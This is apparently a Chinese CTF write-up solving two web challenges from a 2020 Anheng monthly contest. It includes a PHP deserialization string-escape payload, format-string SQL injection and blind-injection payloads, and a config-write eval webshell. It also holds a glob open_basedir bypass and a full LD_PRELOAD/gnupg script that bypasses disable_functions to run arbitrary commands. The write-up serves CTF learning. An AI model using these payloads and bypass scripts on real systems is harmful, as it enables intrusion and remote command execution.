2020年安恒四月月赛

比赛时只做出了一个web,这次安恒月赛质量很好,还提供了复现👍👍👍

0x01 Ezunserialize

考点 :字符串逃逸反序列化

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

感觉更像是一道计算题,重点是因为在read的时候会把\0\0\0====>chr(0) . '*' . chr(0)

这样长度就会变短,

正常的A类的序列化结果应为

1
O:1:"A":2:{s:8:"username";s:8:"mount4in";s:8:"password";s:8:"password";}

通过字符的逃逸可以将序列化结果改变成类似

1
O:1:"A":2:{s:8:"username";s:8:"mount4in";s:2:"st";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

就可以触发反序列化,读取flag.php。

然后就是数学的计算。通过在username中添加\0\0\0,在password中添加payload,通过一个\0\0\0会吃掉三个三个字符,最后改变序列化内容为可触发读文件的payload。

1
O:1:"A":2:{s:8:"username";s:53:"admin\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:68:""";s:2:"st";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}";}
image-20200501182039560

传入这个

1
$a = new A("admin\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0", '"";s:2:"st";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}');

image-20200501182343230

0x02 babytricks

扫目录

image-20200501185458689

抓包可以看到

image-20200501183423342

应该是格式化字符串导致的sql注入,

image-20200501185254219

也可以user=admin%1$c#&passwd=39

user=%1$&passwd=^0#

不知道为啥没出密码,用下别人的吧。

更新:比赛时是非预期,需要用between盲注。

payload:

1
%1$c+0 adn passwd between CONCAT("{}",BINARY("")) and CONCAT("{}",BINARY("")) #
1
2
3
4
5
6
7
8
(
    [0] => 1
    [id] => 1
    [1] => admin
    [user] => admin
    [2] => GoODLUcKcTFer202OHAckFuN
    [passwd] => GoODLUcKcTFer202OHAckFuN
)

然后admin/index.php登进后台,

image-20200501185735317

这里就是之前p神分享过的经典写配置漏洞与几种变形,通过

?shell=;eval($_POST[2333]);

?shell=$0

之后就可以得到shell,连上蚁剑,查看phpinfo,可以看到disable_function

1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail

过滤了很多函数,蚁剑的所有插件都不可以用,而且open_basedir为 /var/www/html

可以使用glob绕过open_basedir读跟目录文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if ($dh = opendir('glob:///*')) {
while (($file = readdir($dh)) !== false) {
echo $file.' ';
}
closedir($dh);
}
/////////////////////////////////////////////
$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}

$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
echo "{$f}<br/>";
}
/////////////////////////////////////////////
var_dump(scandir('glob:///*'));

image-20200501222949625

之后通过gnupg来绕过disable_function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

$res = gnupg_init();
gnupg_seterrormode($res,GNUPG_ERROR_WARNING);
$info = gnupg_keyinfo($res,'your-key-id');
echo "Key - Info<pre>";
var_dump($info);
echo "</pre>";

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

注:以下部分加上刷新后仍可用。

1
2
3
4
gnupg_seterrormode($res,GNUPG_ERROR_WARNING);
$info = gnupg_keyinfo($res,'your-key-id');
echo "Key - Info<pre>";
var_dump($info);
1
http://183.129.189.60:10010/admin/shells/wFY2g1Ukgo8rdrUJ/bypass_gnupg.php?cmd=cat /flag&outpath=/var/www/html/admin/shells/wFY2g1Ukgo8rdrUJ/dd&sopath=/var/www/html/admin/shells/wFY2g1Ukgo8rdrUJ/bypass_disablefunc_x64.so

然后getflag。

image-20200502083056197